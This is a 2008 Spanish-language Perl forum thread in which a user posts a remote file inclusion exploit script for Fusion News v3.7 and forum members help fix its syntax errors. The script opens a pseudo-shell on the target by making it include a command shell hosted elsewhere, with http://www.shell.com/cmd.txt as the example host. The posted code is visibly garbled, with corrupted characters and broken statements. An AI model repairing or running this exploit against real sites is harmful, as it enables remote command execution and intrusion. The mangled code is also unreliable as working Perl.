Jue Jul 31, 2008 2:43 pm
|
 |
Ezequiel
Perlero Nuevo

|
Registrado: 31 Jul 2008
Mensajes: 8
|
|
| Ayuda con un script |
|
|
Saludos. Es la primera vez que intento programar en Perl. He programado en muchos idiomas, pero no en Perl. Pongo aquí mi script a ver si me lo solucionáis o me ayudáis a solucionarlo. Muchas gracias a todos.
| Perl: | #!/usr/bin/perl
###########################################################################################
# Aria-Security.net Advisory #
# Discovered by: OUTLAW #
# < www.Aria-security.net > #
# Gr33t to: A.u.r.a & HessamX & Cl0wn & DrtRp #
# Special Thanx To All Aria-Security Users #
###########################################################################################
use LWP:: UserAgent;
print "\n === Fusion News v3.7 Remote File Inclusion\n";
print "\n === Discovered by OutLaw .\n";
print "\n === www.Aria-Security.Net\n";
$bPath = $ARGV[0];
$cmdo = $ARGV[1];
$bcmd = $ARGV[2];
if($bPath!~/http:\/\// || $cmdo!~/http:\/\// || ! $bcmd){usage ()}
while()
print "[Shell] \$";
while(<STDIN>)
{
$cmd= $_;
chomp($cmd);
$xpl = LWP:: UserAgent-> new() or die;
$req = HTTP:: Request-> new(GET => $bpath. 'index.php?fpath=';. $cmdo. ';?&';. $bcmd. ';=';. $cmd)or die "
\n Could not connect !\n";
$res = $xpl-> request($req);
$return = $res-> content;
$return =~ tr/ [\n ]/ [ê;
if (! $cmd) {print "\nPlease type a Command\n\n"; $return = ""; }
elsif ($return =~/failed to open stream: HTTP request failed!/ )
{print "\n Could Not Connect to cmd Host\n";exit }
elsif ($return =~/^ <b>Fatal.error/ ) {print "\n Invalid Command\n"}
if($return =~ / (.* )/ )
$freturn = $ 1;
$freturn=~ tr/ [ê [\n ]/;
print "\r\n$freturn\n\r";
last;
else {print "[Shell] \$"; }}}last;
sub usage ()
{
print " Usage : fusion.pl [host] [cmd shell location] [cmd shell variable]\n";
print " Example : fusion.pl http://fusionnews.com http://www.shell.com/cmd.txt cmd\n";
exit();
}
|
Es un pelín larga, así que si me ayudan se lo agradeceré todo lo que pueda. Lo compilo con ActivePerl pero me da errores a montones. Cualquier duda pregúntenme.
Ultima edición por Ezequiel el Jue Jul 31, 2008 3:35 pm, editado 3 veces |
|
|
|

Jue Jul 31, 2008 2:50 pm
|
 |
explorer
Moderador

|
Registrado: 24 Jul 2005
Mensajes: 4088
Ubicación: Valladolid, España
|
|
|
|
|
Bienvenido a los foros de Perl en Español, Ezequiel.
* Debes cambiar todos los '"' por '"'
* Debes cambiar todos los '>' por '>'
* Debes cambiar todos los '<' por '<'
* etc., etc.
Has copiado mal el script, desde el origen.
Arréglalo y vuelve a editar el mensaje y seguimos viendo los fallos que dé. |
|
Jue Jul 31, 2008 3:29 pm
|
 |
Ezequiel
Perlero Nuevo

|
Registrado: 31 Jul 2008
Mensajes: 8
|
|
|
|
|
| Creo que ya está (He editado el mensaje). Creo que hay más carácteres que cambiar. |
|
Jue Jul 31, 2008 3:51 pm
|
 |
Ezequiel
Perlero Nuevo

|
Registrado: 31 Jul 2008
Mensajes: 8
|
|
|
|
|
syntax error at exploit.pl line 22, near ")
print"
syntax error at exploit.pl line 29, near "'index.php?fpath=';"
Execution of exploit.pl aborted due to compilation errors.
Para arreglaros un poco la vida:
Línea 22:
| Perl: | while()
print "[Shell] \$"; #<----------------
while(<STDIN>) |
Línea 29:
| Perl: | $xpl = LWP:: UserAgent-> new() or die;
$req = HTTP:: Request-> new(GET => $bpath. 'index.php?fpath=';. $cmdo. ';?&';. $bcmd. ';=';. $cmd)or die " #<--------------------
\n Could not connect !\n"; |
[/syntax] |
|
Jue Jul 31, 2008 4:07 pm
|
 |
explorer
Moderador

|
Registrado: 24 Jul 2005
Mensajes: 4088
Ubicación: Valladolid, España
|
|
|
|
|
Falta un '{' después de los while().
Lo de la línea 29 es algo más complicado. Yo creo que es
| Perl: | $req = HTTP:: Request-> new(
GET => $bpath . 'index.php?fpath=' . $cmdo . '?&' . $bcmd . '=' . $cmd
)
or die "\n Could not connect !\n"; |
|
|
Jue Jul 31, 2008 4:37 pm
|
 |
kidd
Creador de Perl en Español

|
Registrado: 15 Oct 2003
Mensajes: 1389
Ubicación: México
|
|
|
|
|
| explorer escribió: | Yo creo que es
| Perl: | $req = HTTP:: Request-> new(
GET => $bpath . 'index.php?fpath=' . $cmdo . '?&' . $bcmd . '=' . $cmd
)
or die "\n Could not connect !\n"; |
|
Incluso me parece que también habría que quitar el "?&" o escapar el "?". |
|
Jue Jul 31, 2008 4:53 pm
|
 |
explorer
Moderador

|
Registrado: 24 Jul 2005
Mensajes: 4088
Ubicación: Valladolid, España
|
|
|
|
|
El '?' separa el cgi del resto de parámetros. Y el '&' separa argumentos. Así que un '?&' indica que no hemos puesto un primer argumento y que empezamos con un separador.
Sobraría el '&', sin duda. |
|
Jue Jul 31, 2008 6:41 pm
|
 |
explorer
Moderador

|
Registrado: 24 Jul 2005
Mensajes: 4088
Ubicación: Valladolid, España
|
|
|
|
|
| Pues tienes razón. El que se ha colado soy yo. |
|

Vie Ago 01, 2008 5:18 am
|
 |
Ezequiel
Perlero Nuevo

|
Registrado: 31 Jul 2008
Mensajes: 8
|
|
|
|
|
Vale, kidd tuvo razón. Supongo que { es como begin en otros idiomas. Y que lo de la línea 29 es un string. Pasando al grano, hay más errores, después de arreglar el de la 29.
| Código: |
Bareword found where operator expected at exploit.pl line 35, near "elsif ($rern =~/failed"
(Might be a runaway multi-line // string starting on line 33)
(Do you need to predeclare elsif?)
Precedence problem: open stream should be open(stream) at exploit.pl line 35.
Bareword found where operator expected at exploit.pl line 37, near "<b>Fatal"
(Might be a runaway multi-line // string starting on line 35)
(Missing operator before Fatal?)
Scalar found where operator expected at exploit.pl line 39, near ")
$freturn"
(Missing operator before $freturn?)
Bareword found where operator expected at exploit.pl line 47, near "//www"
(Missing operator before www?)
String found where operator expected at exploit.pl line 47, at end of line
(Missing semicolon on previous line?)
syntax error at exploit.pl line 35, near "elsif ($return =~/failed to "
syntax error at exploit.pl line 39, near ")
$freturn "
syntax error at exploit.pl line 47, near "com http:"
(Might be a runaway multi-line // string starting on line 40)
Can't find string terminator '"' anywhere before EOF at exploit.pl line 47. |
|
|

Vie Ago 01, 2008 5:38 am
|
 |
explorer
Moderador

|
Registrado: 24 Jul 2005
Mensajes: 4088
Ubicación: Valladolid, España
|
|
|
|
|
Creo que el problema está en la línea
Esos caracteres utf8 del final, no están bien. Mira a ver de donde los has copiado. |
|
Vie Ago 01, 2008 7:09 am
|
 |
Ezequiel
Perlero Nuevo

|
Registrado: 31 Jul 2008
Mensajes: 8
|
|
|
|
Vie Ago 01, 2008 8:36 am
|
 |
kidd
Creador de Perl en Español

|
Registrado: 15 Oct 2003
Mensajes: 1389
Ubicación: México
|
|
|
|
|
Parece que el código fuente del script ha sido pre-procesado.Descargué el script y muestra en esa línea:
Igual tienes una línea similar más arriba en la línea 63:
Habría que saber que carácter es el que están sustituyendo con el tr, o incluso pueden ser varios. |
|
Vie Ago 01, 2008 10:38 am
|
 |
Ezequiel
Perlero Nuevo

|
Registrado: 31 Jul 2008
Mensajes: 8
|
|
|
|
|
| ¿E interpretando el script no puedes imaginar qué carácter debería ir ahí? Yo es que tengo poca experiencia. |
|
Vie Ago 01, 2008 11:13 am
|
 |
kidd
Creador de Perl en Español

|
Registrado: 15 Oct 2003
Mensajes: 1389
Ubicación: México
|
|
|
|
|
| Umm... sería cuestión de ver la información que se está procesando para intentar adivinar que caracter es el que está sustituyendo. |
|
Powered by phpBB © 2001, 2005 phpBB Group
|